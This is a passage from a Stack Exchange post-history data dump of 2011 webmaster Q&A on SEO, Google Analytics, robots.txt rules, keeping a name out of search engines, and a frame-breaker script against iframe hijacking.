Forum&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    					&lt;li&gt;&lt;a href=&quot;#&quot;&gt;RSS Feed&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    					&lt;li&gt;    &#xD;&#xA;    						&lt;a class=&quot;s footIco facebook&quot; href=&quot;http://www.facebook.com/ScirraOfficial&quot; target=&quot;_blank&quot; title=&quot;Visit Scirra on Facebook&quot;&gt;&lt;/a&gt;    &#xD;&#xA;    						&lt;a class=&quot;s footIco twitter&quot; href=&quot;http://twitter.com/Scirra&quot; target=&quot;_blank&quot; title=&quot;Follow Scirra on Twitter&quot;&gt;&lt;/a&gt;    &#xD;&#xA;    						&lt;a class=&quot;s footIco youtube&quot; href=&quot;http://www.youtube.com/user/ScirraVideos&quot; target=&quot;_blank&quot; title=&quot;Visit Scirra on Youtube&quot;&gt;&lt;/a&gt;    &#xD;&#xA;    					&lt;/li&gt;    &#xD;&#xA;    				&lt;/ul&gt;    &#xD;&#xA;    			&lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;    			&lt;div class=&quot;footerItem&quot;&gt;    &#xD;&#xA;    				&lt;h4&gt;About Us&lt;/h4&gt;   &#xD;&#xA;    				&lt;ul&gt;    &#xD;&#xA;    					&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Contact Information&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    					&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Advertising&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    					&lt;li&gt;&lt;a href=&quot;#&quot;&gt;History&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    					&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Privacy Policy&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    					&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Terms and Conditions&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    				&lt;/ul&gt;		    &#xD;&#xA;    			&lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;    			&lt;div class=&quot;footerItem&quot;&gt;    &#xD;&#xA;    				&lt;h4&gt;Want to Help?&lt;/h4&gt;    &#xD;&#xA;    				&lt;p&gt;You can contribute to the community &lt;a href=&quot;#&quot;&gt;in lots of ways&lt;/a&gt;.  We have a large active friendly community, and there are lots of ways to join in!&lt;/p&gt;    &#xD;&#xA;    				&lt;a href=&quot;#&quot; class=&quot;ralign&quot;&gt;&lt;strong&gt;Learn More&lt;/strong&gt;&lt;/a&gt;    &#xD;&#xA;    			&lt;/div&gt;    &#xD;&#xA;    			&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;   &#xD;&#xA;    		&lt;/div&gt;    &#xD;&#xA;    	&lt;/div&gt;    &#xD;&#xA;    	&lt;div class=&quot;copyright&quot;&gt;    &#xD;&#xA;    		Copyright &amp;copy; 2011 Scirra.com.  All rights reserved.    &#xD;&#xA;    	&lt;/div&gt;&#xD;&#xA;    &lt;/footer&gt;&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js&quot;&gt;&lt;/script&gt;    &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;js/common.js&quot;&gt;&lt;/script&gt;    &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;plugins/coin-slider/coin-slider.min.js&quot;&gt;&lt;/script&gt;    &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;js/homepage.js&quot;&gt;&lt;/script&gt;     &#xD;&#xA;    &#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22299" PostHistoryTypeId="1" PostId="10003" RevisionGUID="034a00a7-5b88-4dfb-8978-4aca4e6c352d" CreationDate="2011-03-03T23:26:05.470" UserId="5727" Text="Critique of SEO of this HTML" />
  <row Id="22300" PostHistoryTypeId="3" PostId="10003" RevisionGUID="034a00a7-5b88-4dfb-8978-4aca4e6c352d" CreationDate="2011-03-03T23:26:05.470" UserId="5727" Text="&lt;seo&gt;&lt;html&gt;&lt;html5&gt;&lt;speed&gt;&lt;accessibility&gt;" />
  <row Id="22301" PostHistoryTypeId="2" PostId="10004" RevisionGUID="f235371e-92d1-4db3-b089-8c3fae4ac88b" CreationDate="2011-03-03T23:50:55.853" UserId="2288" Text="So, 1-2 years ago I recall hearing about a site that matches non-profits with volunteer webmasters. Does anyone know such a site?&#xD;&#xA;&#xD;&#xA;Questions, feedback, requests -- just comment, thanks!!" />
  <row Id="22302" PostHistoryTypeId="1" PostId="10004" RevisionGUID="f235371e-92d1-4db3-b089-8c3fae4ac88b" CreationDate="2011-03-03T23:50:55.853" UserId="2288" Text="Portal for matching volunteer webmasters and non-profits?" />
  <row Id="22303" PostHistoryTypeId="3" PostId="10004" RevisionGUID="f235371e-92d1-4db3-b089-8c3fae4ac88b" CreationDate="2011-03-03T23:50:55.853" UserId="2288" Text="&lt;social-networks&gt;&lt;hiring&gt;&lt;non-profit&gt;" />
  <row Id="22304" PostHistoryTypeId="2" PostId="10005" RevisionGUID="feabafb9-975e-4b8f-a653-2f7613794c71" CreationDate="2011-03-04T00:00:25.490" UserId="2288" Text="No SEO expert, but to get the ball rolling take the meta-keywords: game maker, game builder, html5, create games, games creator -- and put them in the visible content in a way that a human reading the site would get the idea right away that was the focus of the site. Beyond making sure the search engines can see the content, not doing things search engines don't like (for example spam) -- my experience has been in large part that if human will like it, search engines will too. For example, search engine like pages that load fast; humans do too. Any rate, I'm no expert; meaning I don't current get paid to do seo; have in the past though." />
  <row Id="22305" PostHistoryTypeId="10" PostId="10003" RevisionGUID="44b4267a-a246-41cd-8ba5-746164a43d1b" CreationDate="2011-03-04T00:28:53.887" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:1757,&quot;DisplayName&quot;:&quot;Lèse majesté&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22306" PostHistoryTypeId="2" PostId="10006" RevisionGUID="c1cea677-b4fd-4f38-a053-ff622efa0679" CreationDate="2011-03-04T00:44:10.180" UserId="5026" Text="Joomla was simply reinstalled, which resolved this problem." />
  <row Id="22307" PostHistoryTypeId="2" PostId="10007" RevisionGUID="6c1c7f10-2174-4353-a88e-680fb14b1634" CreationDate="2011-03-04T01:08:51.960" UserId="5819" Text="btw: did you try to contact the app creator before Apple? may he likes to work something out with you like a 50/50 split of app revenue. &#xD;&#xA;or just tell him he should remove the app from the market otherwise he get sued ..." />
  <row Id="22308" PostHistoryTypeId="25" PostId="10003" RevisionGUID="3e3b9610-dffb-4425-8224-b37b12b7fd05" CreationDate="2011-03-04T02:23:16.013" Comment="http://twitter.com/#!/StackWebmasters/status/43496699490074624" />
  <row Id="22309" PostHistoryTypeId="17" PostId="10009" RevisionGUID="4fb1f61b-a3b0-4f38-9fda-644a26c0486d" CreationDate="2011-03-04T03:39:50.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5187985/google-analytics-does-not-show-adsense-if-you-have-multiple-sites/5188865#5188865" Text="" />
  <row Id="22310" PostHistoryTypeId="2" PostId="10009" RevisionGUID="e55124a9-fac3-44ed-a0f5-8d4e1bb48cac" CreationDate="2011-03-04T02:01:46.497" UserId="5718" Text="You need to add an additional snippet of code to your non-primary domains:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;     window.google_analytics_uacct = &quot;UA-XXXXXX-X&quot;;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;It needs to be placed above the other GA and AdSense code. The `&quot;UA-XXXXXX-X&quot;` should be replaced with the same GA account number used in the GA code." />
  <row Id="22311" PostHistoryTypeId="2" PostId="10008" RevisionGUID="d4c1bceb-f617-449f-a3a8-a0db15aee450" CreationDate="2011-03-03T23:35:45.633" UserDisplayName="Genadinik" Text="I have multiple sites in my Google Analytics, and under the content section, adsense revenue per page is only visible for one of the sites. The rest of the sites in my Google analytics do not display what page the AdSense revenue came from.&#xD;&#xA;&#xD;&#xA;Is this a known bug?  Has anyone had this?  Or do I need to configure something else?" />
  <row Id="22312" PostHistoryTypeId="1" PostId="10008" RevisionGUID="d4c1bceb-f617-449f-a3a8-a0db15aee450" CreationDate="2011-03-03T23:35:45.633" UserDisplayName="Genadinik" Text="Google Analytics does not show AdSense if you have multiple sites" />
  <row Id="22313" PostHistoryTypeId="3" PostId="10008" RevisionGUID="d4c1bceb-f617-449f-a3a8-a0db15aee450" CreationDate="2011-03-03T23:35:45.633" UserDisplayName="Genadinik" Text="&lt;google-analytics&gt;&lt;google-adsense&gt;" />
  <row Id="22314" PostHistoryTypeId="17" PostId="10008" RevisionGUID="b9e33cc1-e5d0-4c1c-9b2c-8ea95c26b9e6" CreationDate="2011-03-04T03:39:50.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5187985/google-analytics-does-not-show-adsense-if-you-have-multiple-sites" Text="" />
  <row Id="22315" PostHistoryTypeId="17" PostId="10011" RevisionGUID="7929492f-2092-470c-80e8-e6f3332ab1da" CreationDate="2011-03-04T04:04:43.623" UserId="-1" Comment="from http://stackoverflow.com/questions/1988003/searchportal-stealing-my-traffic-with-iframes/4689358#4689358" Text="" />
  <row Id="22316" PostHistoryTypeId="2" PostId="10011" RevisionGUID="ca25ad84-4de5-410e-ab29-53274b1efc60" CreationDate="2011-01-14T08:50:25.987" UserDisplayName="sevgi" Text="You have problem with DNS. Ask your hosting provider." />
  <row Id="22317" PostHistoryTypeId="2" PostId="10010" RevisionGUID="f799bb1f-ba1c-43a6-b0ca-425f27d3da9a" CreationDate="2010-01-01T06:04:04.607" UserDisplayName="kevin" Text="Ok guys. My website keeps getting hijacked by searchportal.information it looks like they are using an iframe script to do it. here is the script:&#xD;&#xA;&#xD;&#xA;http://searchportal.information.com/?a_id=47368&amp;domainname=www.(mysite).com&#xD;&#xA;&#xD;&#xA;how do i prevent them from doing this?" />
  <row Id="22318" PostHistoryTypeId="1" PostId="10010" RevisionGUID="f799bb1f-ba1c-43a6-b0ca-425f27d3da9a" CreationDate="2010-01-01T06:04:04.607" UserDisplayName="kevin" Text="searchportal stealing my traffic with iframes" />
  <row Id="22319" PostHistoryTypeId="3" PostId="10010" RevisionGUID="f799bb1f-ba1c-43a6-b0ca-425f27d3da9a" CreationDate="2010-01-01T06:04:04.607" UserDisplayName="kevin" Text="&lt;untagged&gt;" />
  <row Id="22320" PostHistoryTypeId="17" PostId="10010" RevisionGUID="1f1240c2-4fc2-46be-9338-ebcbda170ca8" CreationDate="2011-03-04T04:04:43.623" UserId="-1" Comment="from http://stackoverflow.com/questions/1988003/searchportal-stealing-my-traffic-with-iframes" Text="" />
  <row Id="22321" PostHistoryTypeId="2" PostId="10012" RevisionGUID="9c292986-b67f-4850-a74f-a58731f1cf54" CreationDate="2011-03-03T23:30:30.110" UserDisplayName="John" Text="Is there a way in google analytics to add multiple sites to and show all the stats together? So like the graphs and total visits/unique hits all combined for all the sites added to the google analytics account?&#xD;&#xA;&#xD;&#xA;For example if I have:&#xD;&#xA;&#xD;&#xA;site1.com&#xD;&#xA;site2.com&#xD;&#xA;site3.com&#xD;&#xA;&#xD;&#xA;Under one google analytics account, is there a way in google analytics tool to merge them together so I can see a sum of all traffic in one report?" />
  <row Id="22322" PostHistoryTypeId="1" PostId="10012" RevisionGUID="9c292986-b67f-4850-a74f-a58731f1cf54" CreationDate="2011-03-03T23:30:30.110" UserDisplayName="John" Text="Google Analytics - Showing multiple site stats at once" />
  <row Id="22323" PostHistoryTypeId="3" PostId="10012" RevisionGUID="9c292986-b67f-4850-a74f-a58731f1cf54" CreationDate="2011-03-03T23:30:30.110" UserDisplayName="John" Text="&lt;google-analytics&gt;" />
  <row Id="22324" PostHistoryTypeId="17" PostId="10012" RevisionGUID="ae2b64c2-b209-40dd-91a5-a986476a851c" CreationDate="2011-03-04T04:13:18.797" UserId="-1" Comment="from http://stackoverflow.com/questions/5187953/google-analytics-showing-multiple-site-stats-at-once" Text="" />
  <row Id="22325" PostHistoryTypeId="2" PostId="10013" RevisionGUID="76cabb68-44c7-4994-bc35-761788383de6" CreationDate="2011-03-04T04:18:50.347" UserId="5406" Text="You probably should take a look at [volunteermatch.org][1] and [idealist.org][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.volunteermatch.org/&#xD;&#xA;  [2]: http://www.idealist.org/" />
  <row Id="22326" PostHistoryTypeId="2" PostId="10014" RevisionGUID="61b80acf-85a9-4eaa-9686-68deb1ecc173" CreationDate="2011-03-04T04:42:49.407" UserId="5822" Text="The WordPress Codex has an example SEO optimized robots.txt file: http://codex.wordpress.org/Search_Engine_Optimization_for_WordPress#Robots.txt_Optimization&#xD;&#xA;&#xD;&#xA;I use the following in the functions.php file of my theme to handle it:&#xD;&#xA;&#xD;&#xA;	// add to robots.txt&#xD;&#xA;	add_action('do_robots', 'roots_robots');&#xD;&#xA;&#xD;&#xA;	function roots_robots() {&#xD;&#xA;		echo &quot;Disallow: /cgi-bin\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /wp-admin\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /wp-includes\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /wp-content/plugins\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /wp-content/cache\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /wp-content/themes\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /trackback\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /feed\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /comments\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /category/*/*\n&quot;;&#xD;&#xA;		echo &quot;Disallow: */trackback\n&quot;;&#xD;&#xA;		echo &quot;Disallow: */feed\n&quot;;&#xD;&#xA;		echo &quot;Disallow: */comments\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /*?*\n&quot;;&#xD;&#xA;		echo &quot;Disallow: /*?\n&quot;;&#xD;&#xA;		echo &quot;Allow: /wp-content/uploads&quot;;&#xD;&#xA;	}" />
  <row Id="22327" PostHistoryTypeId="2" PostId="10015" RevisionGUID="c8a3c248-e1ca-4f07-9e0c-1ac32846ca98" CreationDate="2011-03-04T04:50:40.817" UserId="5406" Text="What you're calling &quot;lite&quot; is pretty sophisticated compared to typical forum software.  Both stackexchange and the Alliance Health evidence a lot of care in design; they may be deceptively simple looking.  You might try emailing feedback@alliancehealth.com (or webmaster@ or postmaster@) to see if they'll tell you what software they're using, but I'd guess it is custom software and not available generally." />
  <row Id="22328" PostHistoryTypeId="25" PostId="9995" RevisionGUID="bbff76cf-84f3-4e7b-9950-a4abe7618bb3" CreationDate="2011-03-04T05:23:16.310" Comment="http://twitter.com/#!/StackWebmasters/status/43541999118336000" />
  <row Id="22330" PostHistoryTypeId="25" PostId="9961" RevisionGUID="20e651b5-c4fd-4f45-8c95-a14a56f86b96" CreationDate="2011-03-04T08:23:16.903" Comment="http://twitter.com/#!/StackWebmasters/status/43587297916108800" />
  <row Id="22331" PostHistoryTypeId="5" PostId="10000" RevisionGUID="cf670be1-6eb0-40bc-8e9c-89a146547697" CreationDate="2011-03-04T08:36:34.080" UserId="5821" Comment="trying to fit possible responder's needs and desires" Text="Imagine you want to implement a web-based content management system yourself...&#xD;&#xA;&#xD;&#xA;Requirements are multiuser capabilities (&gt;1000), Great performance, a forum/board has to be included, I want to be free to design all functionality and specific stuff like authorization. Gathering data over APIs from other webservices should be easy to implement, Easy to host and comfortable to program.&#xD;&#xA;&#xD;&#xA;... what web technology would you prefer? and why?&#xD;&#xA;&#xD;&#xA;Is php and java a suitable combination? Would you prefer it? &#xD;&#xA;&#xD;&#xA;(And yes that question is subjective, if that forum doesn't fit can you recommend another place to ask experienced people? I was already directed to pro webmasters from another stack-site)" />
  <row Id="22332" PostHistoryTypeId="2" PostId="10017" RevisionGUID="f054ec52-52bb-46c5-9f50-4f1bf7829021" CreationDate="2011-03-04T09:24:56.137" UserId="5831" Text="Use a frame breaker script: &#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;javascript&quot;&gt;&#xD;&#xA;            if(location.href!=top.location.href){ &#xD;&#xA;        &#xD;&#xA;                top.location.href=location.href&#xD;&#xA;            } &#xD;&#xA;    &lt;/script&gt;" />
  <row Id="22333" PostHistoryTypeId="2" PostId="10018" RevisionGUID="d5f93f87-0c46-4c4f-83ac-ec033497b2c7" CreationDate="2011-03-04T10:28:09.703" UserId="2044" Text="I am checking google webmaster tools. I entered the search queries section. There i found alot keywords and their impression and ctr etc. I clicked on one of the query keyword there it shows the keyword and position in search result, but when i go to google.com and type the specified keyword it shows no impressions too...&#xD;&#xA;&#xD;&#xA;how do i measure find my site's impression on google.com  &#xD;&#xA;&#xD;&#xA;my site: [http://www.trekkingandtoursnepal.com][1]  &#xD;&#xA;keyword: trekking nepal  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.trekkingandtoursnepal.com" />
  <row Id="22334" PostHistoryTypeId="1" PostId="10018" RevisionGUID="d5f93f87-0c46-4c4f-83ac-ec033497b2c7" CreationDate="2011-03-04T10:28:09.703" UserId="2044" Text="What does the impression and ctr means in google webmaster" />
  <row Id="22335" PostHistoryTypeId="3" PostId="10018" RevisionGUID="d5f93f87-0c46-4c4f-83ac-ec033497b2c7" CreationDate="2011-03-04T10:28:09.703" UserId="2044" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="22340" PostHistoryTypeId="2" PostId="10021" RevisionGUID="602a8430-520b-44c5-b4ce-c608e7cf8541" CreationDate="2011-03-04T10:39:32.997" UserId="1643" Text="[This article][1] on the analytics help system should help you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/googleanalytics/bin/answer.py?hl=en&amp;answer=55570" />
  <row Id="22341" PostHistoryTypeId="2" PostId="10022" RevisionGUID="d2ddfb1c-7efa-4c90-9abb-7ef2cf49b8f0" CreationDate="2011-03-04T10:44:21.713" UserId="1643" Text="If you view the source of the page it might give you some clues." />
  <row Id="22342" PostHistoryTypeId="2" PostId="10023" RevisionGUID="0322ebdc-04e4-4deb-9e82-22733247b81d" CreationDate="2011-03-04T10:49:54.063" UserId="5745" Text="I made a CMS in classic ASP and javascript, and AJAX once. I regret it. I'd go with ASP.Net with AJAX and JQuery. That should give you enough flexibility to create a scalable and usable CMS." />
  <row Id="22343" PostHistoryTypeId="2" PostId="10024" RevisionGUID="5ffabac6-8762-44fb-bc00-92553926c84b" CreationDate="2011-03-04T10:53:14.403" UserId="5745" Text="I would go with Images instead of Flash. You can put the content of the image ( i.e.: &quot;home&quot;) in the ALT and Title-tag. I don't know whether Google is already able to navigate through Flash menu's, but if it doesn't, it's far more SEO and user-friendly to use images.&#xD;&#xA;&#xD;&#xA;&lt;b&gt;Edit:&lt;/b&gt; There are scripts available which convert &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt; tags, for instance, to image with the font of your choice." />
  <row Id="22344" PostHistoryTypeId="2" PostId="10025" RevisionGUID="5c33ad28-058d-452b-bfd4-3d264f07ede4" CreationDate="2011-03-04T11:13:56.240" UserId="5727" Text="If I have widget company called &quot;Widget Designer&quot; and I have a direct competitor who has &quot;Widgitator Version 5&quot;, am I allowed to target a campaign using the literal keywords &quot;Widgitator&quot;?&#xD;&#xA;&#xD;&#xA;Is this OK?  Will they ever find out?  Is it bad business?" />
  <row Id="22345" PostHistoryTypeId="1" PostId="10025" RevisionGUID="5c33ad28-058d-452b-bfd4-3d264f07ede4" CreationDate="2011-03-04T11:13:56.240" UserId="5727" Text="Ok to target product names in adwords?" />
  <row Id="22346" PostHistoryTypeId="3" PostId="10025" RevisionGUID="5c33ad28-058d-452b-bfd4-3d264f07ede4" CreationDate="2011-03-04T11:13:56.240" UserId="5727" Text="&lt;advertising&gt;&lt;keywords&gt;&lt;adwords&gt;" />
  <row Id="22347" PostHistoryTypeId="25" PostId="10018" RevisionGUID="8c5ca51b-2289-496f-9cb5-5fbfbf2eb7a1" CreationDate="2011-03-04T11:23:16.593" Comment="http://twitter.com/#!/StackWebmasters/status/43632596604813312" />
  <row Id="22348" PostHistoryTypeId="2" PostId="10026" RevisionGUID="f1f53bec-2048-4bcb-818f-ff6c67286139" CreationDate="2011-03-04T11:58:18.230" UserId="5833" Text="I have my web portfolio.&#xD;&#xA;&lt;br&gt;On my main page I have recently 6 added works from database(works with descriptions).&#xD;&#xA;&lt;br&gt;I have created a php script ,php script generaeted keywords from 6 texts more then 100 keywords.When page loaded ,sript randomly generate 10 keywords from 100" />
  <row Id="22349" PostHistoryTypeId="1" PostId="10026" RevisionGUID="f1f53bec-2048-4bcb-818f-ff6c67286139" CreationDate="2011-03-04T11:58:18.230" UserId="5833" Text="Is it good to generate dynamic keywords every time when page loaded?(SEO)" />
  <row Id="22350" PostHistoryTypeId="3" PostId="10026" RevisionGUID="f1f53bec-2048-4bcb-818f-ff6c67286139" CreationDate="2011-03-04T11:58:18.230" UserId="5833" Text="&lt;seo&gt;&lt;html&gt;" />
  <row Id="22353" PostHistoryTypeId="17" PostId="10028" RevisionGUID="58e13105-01fa-41d3-b2ec-3133b5cd42e8" CreationDate="2011-03-04T12:17:42.500" UserId="-1" Comment="from http://stackoverflow.com/questions/5191757/does-character-length-of-domain-affect-seo-rankings/5191847#5191847" Text="" />
  <row Id="22354" PostHistoryTypeId="2" PostId="10028" RevisionGUID="3f0502e2-e606-400e-91a7-e339585b49b1" CreationDate="2011-03-04T09:22:27.037" UserDisplayName="John Beynon" Text="I've never heard of the domain name length affecting SEO.&#xD;&#xA;&#xD;&#xA;Google doesn't appear to show any inbound links to your site (via link:www.creditcardpaymentgateways.com google search) - that probably won't be helping matters." />
  <row Id="22355" PostHistoryTypeId="2" PostId="10027" RevisionGUID="64a88e21-c5ff-44d0-b9a7-d8d7504de866" CreationDate="2011-03-04T09:14:59.077" UserDisplayName="user543087" Text="My domain : CreditCardPaymentGateways dot in  even after 6 months is not ranking well.&#xD;&#xA;Could it be due to length of it?&#xD;&#xA;&#xD;&#xA;Also I've blocked backlinks to some directories( without nofollow) using robots.txt.&#xD;&#xA;&#xD;&#xA;I suspect either is playing spoilsport in good rankings of my site, which I've optimized well and has least competition." />
  <row Id="22356" PostHistoryTypeId="1" PostId="10027" RevisionGUID="64a88e21-c5ff-44d0-b9a7-d8d7504de866" CreationDate="2011-03-04T09:14:59.077" UserDisplayName="user543087" Text="Does character length of domain affect seo rankings?" />
  <row Id="22357" PostHistoryTypeId="3" PostId="10027" RevisionGUID="64a88e21-c5ff-44d0-b9a7-d8d7504de866" CreationDate="2011-03-04T09:14:59.077" UserDisplayName="user543087" Text="&lt;seo&gt;&lt;domains&gt;&lt;robots&gt;" />
  <row Id="22358" PostHistoryTypeId="17" PostId="10027" RevisionGUID="838768bb-8160-4e71-b38b-2e73ceeb94b0" CreationDate="2011-03-04T12:17:42.500" UserId="-1" Comment="from http://stackoverflow.com/questions/5191757/does-character-length-of-domain-affect-seo-rankings" Text="" />
  <row Id="22359" PostHistoryTypeId="17" PostId="10030" RevisionGUID="daf102ed-0736-4dde-81e7-7e5ea21a9804" CreationDate="2011-03-04T13:45:29.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5191742/how-to-get-your-name-not-found-on-a-search-engine/5191794#5191794" Text="" />
  <row Id="22360" PostHistoryTypeId="17" PostId="10031" RevisionGUID="7881c41a-6057-4e08-a900-efdb9ddf554c" CreationDate="2011-03-04T13:45:29.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5191742/how-to-get-your-name-not-found-on-a-search-engine/5191796#5191796" Text="" />
  <row Id="22361" PostHistoryTypeId="17" PostId="10032" RevisionGUID="4b23f276-a7e7-4625-8440-c2939f392b44" CreationDate="2011-03-04T13:45:29.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5191742/how-to-get-your-name-not-found-on-a-search-engine/5191810#5191810" Text="" />
  <row Id="22362" PostHistoryTypeId="17" PostId="10033" RevisionGUID="1b9d0475-7548-45f7-ae31-da6b30931b73" CreationDate="2011-03-04T13:45:29.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5191742/how-to-get-your-name-not-found-on-a-search-engine/5191857#5191857" Text="" />
  <row Id="22363" PostHistoryTypeId="17" PostId="10034" RevisionGUID="b7188f54-36ed-4d5b-b060-f21d9ee59796" CreationDate="2011-03-04T13:45:29.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5191742/how-to-get-your-name-not-found-on-a-search-engine/5191968#5191968" Text="" />
  <row Id="22364" PostHistoryTypeId="2" PostId="10030" RevisionGUID="b52d7532-e07b-47bb-b0e4-84df5fadf1f8" CreationDate="2011-03-04T09:18:39.687" UserId="5830" Text="I think what you might be looking for is the `robots.txt` file.&#xD;&#xA;&#xD;&#xA;More information regarding this topic you will find here: http://www.robotstxt.org/robotstxt.html&#xD;&#xA;&#xD;&#xA;With this file you can exclude robots (search engines) from certain files/directories within your website." />
  <row Id="22365" PostHistoryTypeId="2" PostId="10031" RevisionGUID="bf2aad89-db5c-4ce4-8e6b-0a50b017ca67" CreationDate="2011-03-04T09:18:43.940" UserId="5831" Text="To prevent robots from crawling your site, place the following robots.txt file in your server root:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;To remove your site from Google only and prevent just Googlebot from crawling your site in the future, place the following robots.txt file in your server root:&#xD;&#xA;&#xD;&#xA;    User-agent: Googlebot&#xD;&#xA;    Disallow: / " />
  <row Id="22366" PostHistoryTypeId="2" PostId="10034" RevisionGUID="99d1d991-d699-45f1-b099-9189d8ac5e63" CreationDate="2011-03-04T09:33:44.987" UserDisplayName="Neville K" Text="Robots.txt is indeed a good solution - however, it's going to stop the search engines from indexing your site full stop (assuming you have your name at the top of every page on the site). That means that nobody will find you when searching for things other than your name. &#xD;&#xA;This might be what you want - but if it isn't, make sure your name is not included in the HTML as machine readable text, and use images instead of HTML text to put your name on the page. Not big, not clever, not accessible.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22367" PostHistoryTypeId="2" PostId="10032" RevisionGUID="1d1fe538-fde1-4032-95fb-b4defb40b401" CreationDate="2011-03-04T09:19:53.837" UserId="1673" Text="Why don't you create a website, using a domain name which won't link back to you in some way, and then have a login page before users can see the content.&#xD;&#xA;&#xD;&#xA;That way no index will see it, and you can give access to anyone who you want to." />
  <row Id="22368" PostHistoryTypeId="2" PostId="10033" RevisionGUID="1fa60da1-9a36-482a-b839-6b865c2970c8" CreationDate="2011-03-04T09:23:39.093" UserDisplayName="DaVince" Text="Don't put your full personal name on your website. Or if you have to, use an image displaying your name that has an alt attribute that does not contain your name." />
  <row Id="22369" PostHistoryTypeId="2" PostId="10029" RevisionGUID="10ec8567-7b5c-4264-ad46-f4ebae23a9a0" CreationDate="2011-03-04T09:12:55.840" UserDisplayName="TeaDrinkingGeek" Text="I want to create a personal web site, have my resume on it etc.&#xD;&#xA;&#xD;&#xA;The problem I face is, I don't anyone to search my full name in a search engine and come up with my personal web site.&#xD;&#xA;&#xD;&#xA;Is there a way to program something that would stop this, in ASP.NET?&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;TDG" />
  <row Id="22370" PostHistoryTypeId="1" PostId="10029" RevisionGUID="10ec8567-7b5c-4264-ad46-f4ebae23a9a0" CreationDate="2011-03-04T09:12:55.840" UserDisplayName="TeaDrinkingGeek" Text="How to get your name not found on a search engine" />
  <row Id="22371" PostHistoryTypeId="3" PostId="10029" RevisionGUID="10ec8567-7b5c-4264-ad46-f4ebae23a9a0" CreationDate="2011-03-04T09:12:55.840" UserDisplayName="TeaDrinkingGeek" Text="&lt;websites&gt;" />
  <row Id="22372" PostHistoryTypeId="17" PostId="10029" RevisionGUID="d0654fab-837c-4aac-8386-0f765d5ba230" CreationDate="2011-03-04T13:45:29.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5191742/how-to-get-your-name-not-found-on-a-search-engine" Text="" />
  <row Id="22373" PostHistoryTypeId="2" PostId="10035" RevisionGUID="754749b1-4016-42b2-af01-e4636a09cc9d" CreationDate="2011-03-04T13:48:39.777" UserId="3659" Text="My recommendation would be not to do this. From a users perspective (and always try to keep that in mind when working on your SEO), why would your page be about 10 topics the one moment and about 10 different topics just moments later. And again and again... Even more so as this seems rather unstable and inconsistent to the Search Engines!&#xD;&#xA;&#xD;&#xA;Make sure you have pages that are about a certain subject within your website. Choose your keywords wisely and update these in you meta tags. When you page outgrows the subject you can create a new page for the additional subject. And so on. It gives a proper hierarchy and steady growth of your website.&#xD;&#xA;&#xD;&#xA;Please note that you will only be doing this for search engines other than Google, as Google is fully neglecting the keyword meta tags: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&#xD;&#xA;&#xD;&#xA;My expectation is that it won't be long before Bing, Yahoo, etc etc will do the same. So my advice will be not to waste your energy on keyword meta tags. I do not use these at any of my sites. There has been no effect on my SERP results or website visitors whatsoever since I have made this change. And it saved me a LOT of time ;)" />
  <row Id="22374" PostHistoryTypeId="2" PostId="10036" RevisionGUID="27a6302a-7445-401d-896d-d78eb65da63f" CreationDate="2011-03-04T13:53:15.703" UserId="5464" Text="Domain length should not impact your chances of ranking well. However taking a look at: &#xD;&#xA;&#xD;&#xA;www.creditcardpaymentgateways.com it would appear to be a holding page with low value content this probably means you don't get much traffic. Plus your domain name is made up of a number of key word phrases so I assume you were wanting to rank for exact match searches. &#xD;&#xA;&#xD;&#xA;i would look to improve content and do some link building. " />
